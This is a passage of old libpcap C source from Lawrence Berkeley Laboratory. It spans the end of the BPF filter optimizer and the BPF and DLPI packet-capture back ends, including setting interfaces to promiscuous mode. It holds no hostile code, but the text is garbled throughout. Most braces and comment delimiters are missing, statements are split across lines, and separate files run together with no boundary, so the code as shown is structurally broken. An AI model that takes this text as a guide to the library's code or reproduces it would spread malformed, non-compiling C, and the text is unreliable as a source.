ep->next)
if (val !=
ep->pred->val[A_ATOM])
return;
if (JT(b->in_edges->pred) == b)
diffp
= &JT(b->in_edges->pred);
else
diffp
= &JF(b->in_edges->pred);
at_top
= 1;
while (1) {
if
(*diffp == 0)
return;
if (JF(*diffp) !=
JF(b))
return;
if
(!SET_MEMBER((*diffp)->dom, b->id))
return;
if
((*diffp)->val[A_ATOM] != val)
break;
diffp =
&JT(*diffp);
at_top = 0;
samep = &JT(*diffp);
while
(1) {
if (*samep == 0)
return;
if (JF(*samep) !=
JF(b))
return;
if
(!SET_MEMBER((*samep)->dom, b->id))
return;
if
((*samep)->val[A_ATOM] == val)
break;
/* XXX Need to check
that there are no data dependencies
between diffp and samep. Currently, the code generator
will not produce such dependencies. */
samep =
&JT(*samep);
#ifdef notdef
/*
XXX This doesn't cover everything. */
for
(i = 0; i < N_ATOMS; ++i)
if ((*samep)->val[i] !=
pred->val[i])
return;
#endif
/* Pull up the node. */
pull = *samep;
*samep = JT(pull);
JT(pull) = *diffp;
*
At the top of the chain, each predecessor needs to point at the
*
pulled up node. Inside the chain, there
is only one predecessor
* to worry about.
*/
if (at_top)
{
for (ep = b->in_edges; ep != 0; ep = ep->next) {
if
(JT(ep->pred) == b)
JT(ep->pred)
= pull;
else
JF(ep->pred)
= pull;
else
*diffp
= pull;
done = 0;
static
void
opt_blks(root, do_stmts)
struct
block *root;
int
do_stmts;
int i,
maxlevel;
struct block
*p;
init_val();
maxlevel = root->level;
for (i = maxlevel; i >= 0; --i)
for
(p = levels[i]; p; p = p->link)
opt_blk(p, do_stmts);
if (do_stmts)
/*
* No point trying to move branches; it can't possibly
* make a difference at this point.
*/
return;
for (i = 1; i <= maxlevel; ++i) {
for
(p = levels[i]; p; p = p->link) {
opt_j(&p->et);
opt_j(&p->ef);
for (i = 1; i <= maxlevel; ++i) {
for
(p = levels[i]; p; p = p->link) {
or_pullup(p);
and_pullup(p);
static
inline void
link_inedge(parent, child)
struct edge *parent;
struct
block *child;
parent->next =
child->in_edges;
child->in_edges
= parent;
static void
find_inedges(root)
struct block *root;
int
i;
struct block *b;
for (i = 0; i < n_blocks; ++i)
blocks[i]->in_edges
= 0;
* Traverse the graph, adding each edge to the predecessor
*
list of its successors. Skip the leaves
(i.e. level 0).
*/
for
(i = root->level; i > 0; --i) {
for (b = levels[i]; b != 0; b =
b->link) {
link_inedge(&b->et, JT(b));
link_inedge(&b->ef, JF(b));
static
void
opt_root(b)
struct
block **b;
struct slist *tmp,
*s;
s = (*b)->stmts;
(*b)->stmts = 0;
while (BPF_CLASS((*b)->s.code) ==
BPF_JMP && JT(*b) == JF(*b))
*b = JT(*b);
tmp = (*b)->stmts;
if
(tmp != 0)
sappend(s, tmp);
(*b)->stmts = s;
*
If the root node is a return, then there is no
* point executing any
statements (since the bpf machine
* has no side effects).
*/
if
(BPF_CLASS((*b)->s.code) == BPF_RET)
(*b)->stmts = 0;
static void
opt_loop(root,
do_stmts)
struct block
*root;
int do_stmts;
#ifdef
BDEBUG
if (dflag > 1)
opt_dump(root);
#endif
do {
done = 1;
find_levels(root);
find_dom(root);
find_closure(root);
find_inedges(root);
find_ud(root);
find_edom(root);
opt_blks(root,
do_stmts);
#ifdef BDEBUG
if (dflag > 1)
opt_dump(root);
#endif
} while (!done);
* Optimize the filter code in its dag
representation.
void
bpf_optimize(rootp)
struct block **rootp;
struct
block *root;
root =
*rootp;
opt_init(root);
opt_loop(root, 0);
opt_loop(root, 1);
intern_blocks(root);
opt_root(rootp);
opt_cleanup();
static void
make_marks(p)
struct block *p;
if (!isMarked(p)) {
Mark(p);
if
(BPF_CLASS(p->s.code) != BPF_RET) {
make_marks(JT(p));
make_marks(JF(p));
* Mark code array such that isMarked(i) is
true
* only for nodes that are
alive.
static void
mark_code(p)
struct
block *p;
cur_mark += 1;
make_marks(p);
* True iff the two stmt lists load the same
value from the packet into
* the
accumulator.
static int
eq_slist(x, y)
struct slist *x, *y;
while
(1) {
while (x && x->s.code == NOP)
x
= x->next;
while (y && y->s.code ==
NOP)
y = y->next;
if
(x == 0)
return y == 0;
if
(y == 0)
return x == 0;
if
(x->s.code != y->s.code || x->s.k != y->s.k)
return
0;
x = x->next;
y = y->next;
static inline
int
eq_blk(b0, b1)
struct
block *b0, *b1;
if
(b0->s.code == b1->s.code &&
b0->s.k ==
b1->s.k &&
b0->et.succ == b1->et.succ
&&
b0->ef.succ == b1->ef.succ)
return
eq_slist(b0->stmts, b1->stmts);
return
0;
static void
intern_blocks(root)
struct block *root;
struct
block *p;
int i, j;
int done;
top:
done =
1;
for (i = 0; i < n_blocks;
++i)
blocks[i]->link = 0;
mark_code(root);
for (i = n_blocks - 1; --i >= 0; )
{
if (!isMarked(blocks[i]))
continue;
for (j = i + 1; j
< n_blocks; ++j) {
if (!isMarked(blocks[j]))
continue;
if
(eq_blk(blocks[i], blocks[j])) {
blocks[i]->link
= blocks[j]->link ?
blocks[j]->link
: blocks[j];
break;
}
for (i = 0; i < n_blocks; ++i) {
p
= blocks[i];
if (JT(p) == 0)
continue;
if
(JT(p)->link) {
done = 0;
JT(p) =
JT(p)->link;
if (JF(p)->link) {
done
= 0;
JF(p) = JF(p)->link;
if (!done)
goto top;
static
void
opt_cleanup()
free((void
*)vnode_base);
free((void
*)vmap);
free((void
*)edges);
free((void
*)space);
free((void
*)levels);
free((void
*)blocks);
* Return the number of
stmts in 's'.
static int
slength(s)
struct slist *s;
int
n = 0;
for (; s; s =
s->next)
if (s->s.code != NOP)
++n;
return n;
* Return the number of nodes reachable by 'p'.
* All nodes should be initially
unmarked.
static int
count_blocks(p)
struct block *p;
if
(p == 0 || isMarked(p))
return 0;
Mark(p);
return
count_blocks(JT(p)) + count_blocks(JF(p)) + 1;
* Do a depth first search on the flow graph, numbering the
* the basic blocks, and entering them into
the 'blocks' array.`
static void
number_blks_r(p)
struct block *p;
int n;
if (p == 0 || isMarked(p))
return;
Mark(p);
n = n_blocks++;
p->id
= n;
blocks[n] = p;
number_blks_r(JT(p));
number_blks_r(JF(p));
* Return the number of stmts in the flowgraph
reachable by 'p'.
* The nodes
should be unmarked before calling.
static int
count_stmts(p)
struct block *p;
int n;
if (p == 0 || isMarked(p))
return 0;
Mark(p);
n = count_stmts(JT(p)) + count_stmts(JF(p));
return slength(p->stmts) + n + 1;
* Allocate memory. All allocation is done before optimization
* is begun.
A linear bound on the size of all data structures is computed
* from the total number of blocks and/or
statements.
static void
opt_init(root)
struct block *root;
bpf_u_int32
*p;
int i, n, max_stmts;
*
First, count the blocks, so we can malloc an array to map
*
block number to block. Then, put the
blocks into the array.
*/
unMarkAll();
n = count_blocks(root);
blocks = (struct block **)malloc(n *
sizeof(*blocks));
unMarkAll();
n_blocks = 0;
number_blks_r(root);
n_edges
= 2 * n_blocks;
edges = (struct
edge **)malloc(n_edges * sizeof(*edges));
* The number of levels is bounded by the
number of nodes.
*/
levels
= (struct block **)malloc(n_blocks * sizeof(*levels));
edgewords = n_edges / (8 *
sizeof(bpf_u_int32)) + 1;
nodewords
= n_blocks / (8 * sizeof(bpf_u_int32)) + 1;
/* XXX */
space
= (bpf_u_int32 *)malloc(2 * n_blocks * nodewords * sizeof(*space)
+ n_edges * edgewords *
sizeof(*space));
p =
space;
all_dom_sets = p;
for (i = 0; i < n; ++i) {
blocks[i]->dom
= p;
p += nodewords;
all_closure_sets
= p;
for (i = 0; i < n; ++i)
{
blocks[i]->closure = p;
p +=
nodewords;
all_edge_sets =
p;
for (i = 0; i < n; ++i)
{
register struct block *b = blocks[i];
b->et.edom
= p;
p += edgewords;
b->ef.edom = p;
p
+= edgewords;
b->et.id = i;
edges[i]
= &b->et;
b->ef.id = n_blocks + i;
edges[n_blocks
+ i] = &b->ef;
b->et.pred = b;
b->ef.pred
= b;
max_stmts = 0;
for (i = 0; i < n; ++i)
max_stmts
+= slength(blocks[i]->stmts) + 1;
* We allocate at most 3 value numbers per
statement,
* so this is an upper bound on the number of
valnodes
* we'll need.
*/
maxval = 3 * max_stmts;
vmap = (struct vmapinfo *)malloc(maxval *
sizeof(*vmap));
vnode_base =
(struct valnode *)malloc(maxval * sizeof(*vmap));
* Some pointers used to convert the basic
block form of the code,
* into the
array form that BPF requires. 'fstart'
will point to
* the malloc'd array
while 'ftail' is used during the recursive traversal.
static struct
bpf_insn *fstart;
static struct bpf_insn *ftail;
#ifdef BDEBUG
int
bids[1000];
#endif
* Returns
true if successful. Returns false if a
branch has
* an offset that is too
large. If so, we have marked that
* branch so that on a subsequent iteration,
it will be treated
*
properly.
static int
convert_code_r(p)
struct block *p;
struct
bpf_insn *dst;
struct slist
*src;
int slen;
u_int off;
int extrajmps; /* number of extra jumps inserted */
if (p == 0 || isMarked(p))
return
(1);
Mark(p);
if (convert_code_r(JF(p)) == 0)
return
(0);
if (convert_code_r(JT(p))
== 0)
return (0);
slen
= slength(p->stmts);
dst =
ftail -= (slen + 1 + p->longjt + p->longjf);
/* inflate length by
any extra jumps */
p->offset
= dst - fstart;
for (src =
p->stmts; src; src = src->next) {
if (src->s.code == NOP)
continue;
dst->code
= (u_short)src->s.code;
dst->k = src->s.k;
++dst;
#ifdef
BDEBUG
bids[dst - fstart] =
p->id + 1;
#endif
dst->code
= (u_short)p->s.code;
dst->k
= p->s.k;
if (JT(p)) {
extrajmps
= 0;
off = JT(p)->offset - (p->offset + slen) - 1;
if
(off >= 256) {
/* offset too large for branch, must add a
jump */
if (p->longjt == 0) {
/* mark this instruction and
retry */
p->longjt++;
return(0);
}
/* branch if T to following jump */
dst->jt = extrajmps;
extrajmps++;
dst[extrajmps].code = BPF_JMP|BPF_JA;
dst[extrajmps].k = off - extrajmps;
else
dst->jt = off;
off = JF(p)->offset - (p->offset +
slen) - 1;
if (off >= 256) {
/* offset too large for branch, must add a jump */
if (p->longjf == 0) {
/*
mark this instruction and retry */
p->longjf++;
return(0);
}
/* branch if F to following jump */
/* if two jumps are inserted, F goes to second one */
dst->jf = extrajmps;
extrajmps++;
dst[extrajmps].code = BPF_JMP|BPF_JA;
dst[extrajmps].k
= off - extrajmps;
else
dst->jf = off;
return (1);
* Convert flowgraph intermediate
representation to the
* BPF array
representation. Set *lenp to the number
of instructions.
struct bpf_insn *
icode_to_fcode(root, lenp)
struct block *root;
int *lenp;
int n;
struct
bpf_insn *fp;
* Loop doing convert_codr_r() until no
branches remain
* with too-large offsets.
*/
while (1)
{
unMarkAll();
n = *lenp = count_stmts(root);
fp = (struct bpf_insn *)malloc(sizeof(*fp)
* n);
memset((char *)fp, 0, sizeof(*fp) *
n);
fstart = fp;
ftail = fp + n;
unMarkAll();
if
(convert_code_r(root))
break;
free(fp);
return fp;
#ifdef BDEBUG
static
void
opt_dump(root)
struct
block *root;
struct bpf_program
f;
memset(bids, 0, sizeof
bids);
f.bf_insns =
icode_to_fcode(root, &f.bf_len);
bpf_dump(&f,
1);
putchar('\n');
free((char *)f.bf_insns);
#endif
* Copyright (c) 1993, 1994, 1995, 1996,
1998
* The Regents of the University of California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: pcap-bpf.c,v 1.31
98/07/12 13:14:55 leres Exp $ (LBL)";
#endif
#include
<sys/param.h> /* optionally get BSD define */
#include
<sys/time.h>
#include <sys/timeb.h>
#include
<sys/socket.h>
#include <sys/file.h>
#include
<sys/ioctl.h>
#include <net/if.h>
#include
<ctype.h>
#include <errno.h>
#include
<netdb.h>
#include <stdio.h>
#include
<stdlib.h>
#include <string.h>
#include
<unistd.h>
#include "pcap-int.h"
#include
"gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include
"os-proto.h"
#endif
pcap_stats(pcap_t *p, struct pcap_stat
*ps)
struct bpf_stat s;
if (ioctl(p->fd, BIOCGSTATS,
(caddr_t)&s) < 0) {
sprintf(p->errbuf, "BIOCGSTATS:
%s", pcap_strerror(errno));
return (-1);
ps->ps_recv = s.bs_recv;
ps->ps_drop = s.bs_drop;
return (0);
pcap_read(pcap_t *p, int cnt, pcap_handler
callback, u_char *user)
int
cc;
int n = 0;
register u_char *bp, *ep;
again:
cc
= p->cc;
if (p->cc == 0)
{
cc = read(p->fd, (char *)p->buffer, p->bufsize);
if
(cc < 0) {
/* Don't choke when we get ptraced
*/
switch (errno) {
case
EINTR:
goto
again;
case EWOULDBLOCK:
return (0);
#if defined(sun)
&& !defined(BSD)
/*
*
Due to a SunOS bug, after 2^31 bytes, the kernel
* file offset overflows and read fails with
EINVAL.
*
The lseek() to 0 will fix things.
*/
case EINVAL:
if (lseek(p->fd, 0L, SEEK_CUR) +
p->bufsize < 0) {
(void)lseek(p->fd, 0L, SEEK_SET);
goto again;
}
/*
fall through */
#endif
}
sprintf(p->errbuf, "read:
%s", pcap_strerror(errno));
return (-1);
bp =
p->buffer;
} else
bp
= p->bp;
* Loop through each packet.
*/
#define bhp ((struct bpf_hdr *)bp)
ep = bp + cc;
while (bp < ep) {
register int caplen, hdrlen;
caplen
= bhp->bh_caplen;
hdrlen = bhp->bh_hdrlen;
/*
* XXX A bpf_hdr matches a pcap_pkthdr.
*/
(*callback)(user, (struct pcap_pkthdr*)bp,
bp + hdrlen);
bp += BPF_WORDALIGN(caplen +
hdrlen);
if (++n >= cnt && cnt > 0)
{
p->bp = bp;
p->cc = ep - bp;
return
(n);
#undef bhp
p->cc =
0;
return (n);
static
inline int
bpf_open(pcap_t *p, char *errbuf)
int fd;
int n =
0;
char device[sizeof
"/dev/bpf000"];
* Go through all the minors and find one that
isn't in use.
*/
do
{
(void)sprintf(device, "/dev/bpf%d", n++);
fd
= open(device, O_RDONLY);
}
while (fd < 0 && errno == EBUSY);
* XXX better message
for all minors used
*/
if
(fd < 0)
sprintf(errbuf, "%s: %s",
device, pcap_strerror(errno));
return
(fd);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc,
int to_ms, char *ebuf)
int
fd;
struct ifreq ifr;
struct bpf_version bv;
u_int v;
pcap_t *p;
p =
(pcap_t *)malloc(sizeof(*p));
if
(p == NULL) {
sprintf(ebuf, "malloc: %s",
pcap_strerror(errno));
return (NULL);
bzero(p, sizeof(*p));
fd = bpf_open(p, ebuf);
if (fd < 0)
goto
bad;
p->fd = fd;
p->snapshot = snaplen;
if (ioctl(fd, BIOCVERSION,
(caddr_t)&bv) < 0) {
sprintf(ebuf, "BIOCVERSION: %s",
pcap_strerror(errno));
goto bad;
if (bv.bv_major != BPF_MAJOR_VERSION ||
bv.bv_minor < BPF_MINOR_VERSION) {
sprintf(ebuf,
"kernel bpf filter out of date");
goto bad;
v = 32768; /*
XXX this should be a user-accessible hook */
/* Ignore the return value - this is because the call fails
on
* BPF systems that don't have kernel malloc. And if the call
* fails, it's no big
deal, we just continue to use the standard
* buffer size.
*/
(void)
ioctl(fd, BIOCSBLEN, (caddr_t)&v);
(void)strncpy(ifr.ifr_name,
device, sizeof(ifr.ifr_name));
if
(ioctl(fd, BIOCSETIF, (caddr_t)&ifr) < 0) {
sprintf(ebuf,
"%s: %s", device, pcap_strerror(errno));
goto bad;
/* Get the data link layer type. */
if (ioctl(fd, BIOCGDLT, (caddr_t)&v)
< 0) {
sprintf(ebuf, "BIOCGDLT: %s", pcap_strerror(errno));
goto
bad;
#if _BSDI_VERSION - 0 >= 199510
/* The SLIP and PPP link layer header changed in BSD/OS 2.1
*/
switch (v) {
case DLT_SLIP:
v
= DLT_SLIP_BSDOS;
break;
case DLT_PPP:
v = DLT_PPP_BSDOS;
break;
#endif
p->linktype = v;
/* set timeout */
if (to_ms != 0) {
struct
timeval to;
to.tv_sec = to_ms / 1000;
to.tv_usec
= (to_ms * 1000) % 1000000;
if (ioctl(p->fd, BIOCSRTIMEOUT,
(caddr_t)&to) < 0) {
sprintf(ebuf, "BIOCSRTIMEOUT:
%s",
pcap_strerror(errno));
goto
bad;
if (promisc)
/*
set promiscuous mode, okay if it fails */
(void)ioctl(p->fd, BIOCPROMISC,
NULL);
if (ioctl(fd, BIOCGBLEN,
(caddr_t)&v) < 0) {
sprintf(ebuf, "BIOCGBLEN: %s",
pcap_strerror(errno));
goto bad;
p->bufsize = v;
p->buffer
= (u_char *)malloc(p->bufsize);
if
(p->buffer == NULL) {
sprintf(ebuf, "malloc: %s",
pcap_strerror(errno));
goto bad;
return (p);
bad:
(void)close(fd);
free(p);
return (NULL);
pcap_setfilter(pcap_t *p, struct
bpf_program *fp)
if
(p->sf.rfile != NULL)
p->fcode = *fp;
else if (ioctl(p->fd, BIOCSETF,
(caddr_t)fp) < 0) {
sprintf(p->errbuf, "BIOCSETF:
%s", pcap_strerror(errno));
return (-1);
return (0);
*
Copyright (c) 1993, 1994, 1995, 1996, 1997
* The Regents of the
University of California. All rights
reserved.
* Redistribution and use
in source and binary forms, with or without
* modification, are permitted provided that: (1) source code
distributions
* retain the above
copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include
the above copyright notice and
*
this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
* This code
contributed by Atanu Ghosh (atanu@cs.ucl.ac.uk),
* University College London.
* Packet capture routine for dlpi under SunOS
5
* Notes:
* -
Apparently the DLIOCRAW ioctl() is specific to SunOS.
* -
There is a bug in bufmod(7) such that setting the snapshot
*
length results in data being left of the front of the packet.
* -
It might be desirable to use pfmod(7) to filter packets in the
*
kernel.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: pcap-dlpi.c,v 1.52
97/10/03 19:47:47 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/time.h>
#ifdef
HAVE_SYS_BUFMOD_H
#include <sys/bufmod.h>
#endif
#include
<sys/dlpi.h>
#ifdef HAVE_SYS_DLPI_EXT_H
#include
<sys/dlpi_ext.h>
#endif
#ifdef HAVE_HPUX9
#include
<sys/socket.h>
#endif
#ifdef DL_HP_PPA_ACK_OBS
#include
<sys/stat.h>
#endif
#include <sys/stream.h>
#if
defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H)
#include
<sys/systeminfo.h>
#endif
#ifdef HAVE_HPUX9
#include
<net/if.h>
#endif
#include <ctype.h>
#ifdef
HAVE_HPUX9
#include <nlist.h>
#endif
#include
<errno.h>
#include <fcntl.h>
#include
<memory.h>
#include <stdio.h>
#include
<stdlib.h>
#include <string.h>
#include
<stropts.h>
#include <unistd.h>
#include
"pcap-int.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#ifndef
PCAP_DEV_PREFIX
#define PCAP_DEV_PREFIX "/dev"
#endif
#define MAXDLBUF 8192
/*
Forwards */
static int dlattachreq(int, bpf_u_int32, char *);
static
int dlbindack(int, char *, char *);
static int dlbindreq(int, bpf_u_int32,
char *);
static int dlinfoack(int, char *, char *);
static int
dlinforeq(int, char *);
static int dlokack(int, const char *, char *, char
*);
static int recv_ack(int, int, const char *, char *, char *);
static
int dlpromisconreq(int, bpf_u_int32, char *);
#if defined(HAVE_SOLARIS)
&& defined(HAVE_SYS_BUFMOD_H)
static char *get_release(bpf_u_int32
*, bpf_u_int32 *, bpf_u_int32 *);
#endif
static int send_request(int,
char *, int, char *, char *);
#ifdef HAVE_SYS_BUFMOD_H
static int
strioctl(int, int, int, char *);
#endif
#ifdef HAVE_HPUX9
static
int dlpi_kread(int, off_t, void *, u_int, char *);
#endif
#ifdef
HAVE_DEV_DLPI
static int get_dlpi_ppa(int, const char *, int, char
*);
#endif
pcap_stats(pcap_t *p, struct pcap_stat *ps)
*ps = p->md.stat;
return (0);
/* XXX Needed by HP-UX
(at least) */
static bpf_u_int32 ctlbuf[MAXDLBUF];
static struct
strbuf ctl = {
MAXDLBUF,
(char *)ctlbuf
pcap_read(pcap_t *p,
int cnt, pcap_handler callback, u_char *user)
register int cc, n, caplen, origlen;
register u_char *bp, *ep, *pk;
register struct bpf_insn *fcode;
#ifdef
HAVE_SYS_BUFMOD_H
register
struct sb_hdr *sbp;
#ifdef LBL_ALIGN
struct
sb_hdr sbhdr;
#endif
#endif
int
flags;
struct strbuf data;
struct pcap_pkthdr pkthdr;
flags = 0;
cc = p->cc;
if
(cc == 0) {
data.buf = (char *)p->buffer +
p->offset;
data.maxlen = MAXDLBUF;
data.len
= 0;
do {
if (getmsg(p->fd, &ctl, &data,
&flags) < 0) {
/*
Don't choke when we get ptraced */
if
(errno == EINTR) {
cc
= 0;
continue;
}
strcpy(p->errbuf,
pcap_strerror(errno));
return
(-1);
}
cc = data.len;
}
while (cc == 0);
bp = p->buffer + p->offset;
} else
bp = p->bp;
/* Loop through packets */
fcode = p->fcode.bf_insns;
ep = bp + cc;
n = 0;
#ifdef HAVE_SYS_BUFMOD_H
while (bp < ep) {
#ifdef
LBL_ALIGN
if ((long)bp & 3) {
sbp
= &sbhdr;
memcpy(sbp, bp, sizeof(*sbp));
}
else
#endif
sbp = (struct sb_hdr *)bp;
p->md.stat.ps_drop
+= sbp->sbh_drops;
pk = bp + sizeof(*sbp);
bp
+= sbp->sbh_totlen;
origlen = sbp->sbh_origlen;
caplen
= sbp->sbh_msglen;
#else
origlen = cc;
caplen =
min(p->snapshot, cc);
pk = bp;
bp += caplen;
#endif
++p->md.stat.ps_recv;
if
(bpf_filter(fcode, pk, origlen, caplen)) {
#ifdef HAVE_SYS_BUFMOD_H
pkthdr.ts
= sbp->sbh_timestamp;
#else
(void)gettimeofday(&pkthdr.ts,
NULL);
#endif
pkthdr.len = origlen;
pkthdr.caplen
= caplen;
/* Insure caplen does not exceed snapshot
*/
if (pkthdr.caplen >
p->snapshot)
pkthdr.caplen
= p->snapshot;
(*callback)(user, &pkthdr, pk);
if
(++n >= cnt && cnt >= 0) {
p->cc
= ep - bp;
p->bp
= bp;
return
(n);
}
#ifdef HAVE_SYS_BUFMOD_H
#endif
p->cc = 0;
return (n);
pcap_t *
pcap_open_live(char *device, int
snaplen, int promisc, int to_ms, char *ebuf)
register char *cp;
char
*eos;
register pcap_t *p;
register int ppa;
register dl_info_ack_t *infop;
#ifdef
HAVE_SYS_BUFMOD_H
bpf_u_int32
ss, flag;
#ifdef HAVE_SOLARIS
register
char *release;
bpf_u_int32
osmajor, osminor, osmicro;
#endif
#endif
bpf_u_int32 buf[MAXDLBUF];
char dname[100];
#ifndef HAVE_DEV_DLPI
char dname2[100];
#endif
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
strcpy(ebuf,
pcap_strerror(errno));
return (NULL);
memset(p, 0, sizeof(*p));
** Determine device and ppa
cp = strpbrk(device,
"0123456789");
if (cp
== NULL) {
sprintf(ebuf, "%s missing unit
number", device);
goto bad;
ppa = strtol(cp, &eos, 10);
if (*eos != '\0') {
sprintf(ebuf, "%s bad unit number",
device);
goto bad;
if (*device == '/')
strcpy(dname, device);
else
sprintf(dname, "%s/%s",
PCAP_DEV_PREFIX, device);
#ifdef HAVE_DEV_DLPI
/* Map network device to /dev/dlpi unit
*/
cp =
"/dev/dlpi";
if
((p->fd = open(cp, O_RDWR)) < 0) {
sprintf(ebuf, "%s: %s", cp,
pcap_strerror(errno));
goto bad;
/* Map network interface to /dev/dlpi unit */
ppa = get_dlpi_ppa(p->fd, dname, ppa,
ebuf);
if (ppa < 0)
goto
bad;
#else
/* Try device
without unit number */
strcpy(dname2,
dname);
cp = strchr(dname,
*cp);
*cp = '\0';
if ((p->fd = open(dname, O_RDWR)) <
0) {
if (errno != ENOENT) {
sprintf(ebuf, "%s: %s", dname,
pcap_strerror(errno));
goto bad;
/* Try again with
unit number */
if ((p->fd = open(dname2, O_RDWR)) <
0) {
sprintf(ebuf, "%s: %s", dname2,
pcap_strerror(errno));
goto bad;
/* XXX Assume unit
zero */
ppa = 0;
#endif
p->snapshot
= snaplen;
** Attach if
"style 2" provider
if
(dlinforeq(p->fd, ebuf) < 0 ||
dlinfoack(p->fd, (char *)buf, ebuf)
< 0)
goto bad;
infop
= &((union DL_primitives *)buf)->info_ack;
if (infop->dl_provider_style == DL_STYLE2 &&
(dlattachreq(p->fd, ppa, ebuf) < 0 ||
dlokack(p->fd,
"attach", (char *)buf, ebuf) < 0))
goto bad;
** Bind (defer if using HP-UX 9 or HP-UX 10.20,
totally skip if
** using
SINIX)
#if !defined(HAVE_HPUX9) && !defined(HAVE_HPUX10_20)
&& !defined(sinix)
if
(dlbindreq(p->fd, 0, ebuf) < 0 ||
dlbindack(p->fd, (char *)buf, ebuf)
< 0)
goto bad;
#endif
if
(promisc) {
/*
** Enable promiscuous
*/
if
(dlpromisconreq(p->fd, DL_PROMISC_PHYS, ebuf) < 0 ||
dlokack(p->fd, "promisc_phys", (char *)buf, ebuf) <
0)
goto bad;
/*
**
Try to enable multicast (you would have thought
** promiscuous would
be sufficient). (Skip if using
** HP-UX or SINIX)
*/
#if
!defined(__hpux) && !defined(sinix)
if
(dlpromisconreq(p->fd, DL_PROMISC_MULTI, ebuf) < 0 ||
dlokack(p->fd, "promisc_multi", (char *)buf, ebuf) <
0)
fprintf(stderr,
"WARNING: DL_PROMISC_MULTI failed
(%s)\n", ebuf);
#endif
**
Try to enable sap (when not in promiscuous mode when using
** using HP-UX and never under
SINIX)
#ifndef sinix
if
(
#ifdef __hpux
!promisc &&
#endif
(dlpromisconreq(p->fd, DL_PROMISC_SAP, ebuf) < 0 ||
dlokack(p->fd, "promisc_sap", (char *)buf, ebuf) < 0))
{
/* Not fatal if promisc since the DL_PROMISC_PHYS worked
*/
if (promisc)
fprintf(stderr,
"WARNING: DL_PROMISC_SAP failed
(%s)\n", ebuf);
else
goto bad;
#endif
** HP-UX 9 and HP-UX 10.20 must bind after
setting promiscuous
**
options)
#if defined(HAVE_HPUX9) || defined(HAVE_HPUX10_20)
if (dlbindreq(p->fd, 0, ebuf) < 0
||
dlbindack(p->fd, (char *)buf, ebuf) < 0)
goto
bad;
#endif
** Determine
link type
if
(dlinforeq(p->fd, ebuf) < 0 ||
dlinfoack(p->fd, (char *)buf, ebuf)
< 0)
goto bad;
infop
= &((union DL_primitives *)buf)->info_ack;
switch (infop->dl_mac_type) {
case DL_CSMACD:
case
DL_ETHER:
p->linktype = DLT_EN10MB;
p->offset
= 2;
break;
case
DL_FDDI:
p->linktype = DLT_FDDI;
p->offset
= 3;
break;
default:
sprintf(ebuf,
"unknown mac type 0x%lu", infop->dl_mac_type);
goto
bad;
#ifdef DLIOCRAW
** This is a non standard SunOS hack to
get the ethernet header.
if
(strioctl(p->fd, DLIOCRAW, 0, NULL) < 0) {
sprintf(ebuf,
"DLIOCRAW: %s", pcap_strerror(errno));
goto bad;
#endif
#ifdef
HAVE_SYS_BUFMOD_H
** Another
non standard call to get the data nicely buffered
if (ioctl(p->fd, I_PUSH, "bufmod") != 0) {
sprintf(ebuf,
"I_PUSH bufmod: %s", pcap_strerror(errno));
goto
bad;
** Now that the bufmod is
pushed lets configure it.
**
There is a bug in bufmod(7). When dealing with messages of
** less than snaplen size it strips data
from the beginning not
** the
end.
** This bug is supposed to
be fixed in 5.3.2. Also, there is a
**
patch available. Ask for bugid 1149065.
ss
= snaplen;
#ifdef HAVE_SOLARIS
release
= get_release(&osmajor, &osminor, &osmicro);
if (osmajor == 5 && (osminor <=
2 || (osminor == 3 && osmicro < 2)) &&
getenv("BUFMOD_FIXED") == NULL) {
fprintf(stderr,
"WARNING:
bufmod is broken in SunOS %s; ignoring snaplen.\n",
release);
ss = 0;
#endif
if (ss > 0 &&
strioctl(p->fd, SBIOCSSNAP, sizeof(ss), (char *)&ss) != 0)
{
sprintf(ebuf, "SBIOCSSNAP: %s",
pcap_strerror(errno));
goto bad;
** Set up the bufmod flags
if (strioctl(p->fd, SBIOCGFLAGS, sizeof(flag), (char
*)&flag) < 0) {
sprintf(ebuf, "SBIOCGFLAGS: %s",
pcap_strerror(errno));
goto bad;
flag |= SB_NO_DROPS;
if
(strioctl(p->fd, SBIOCSFLAGS, sizeof(flag), (char *)&flag) != 0) {
sprintf(ebuf,
"SBIOCSFLAGS: %s", pcap_strerror(errno));
goto
bad;
** Set up the bufmod
timeout
if (to_ms != 0) {
struct
timeval to;
to.tv_sec = to_ms / 1000;
to.tv_usec
= (to_ms * 1000) % 1000000;
if (strioctl(p->fd, SBIOCSTIME, sizeof(to),
(char *)&to) != 0) {
sprintf(ebuf, "SBIOCSTIME: %s",
pcap_strerror(errno));
goto bad;
#endif
** As the last operation flush the read
side.
if (ioctl(p->fd,
I_FLUSH, FLUSHR) != 0) {
sprintf(ebuf, "FLUSHR: %s",
pcap_strerror(errno));
goto bad;
/* Allocate data buffer */
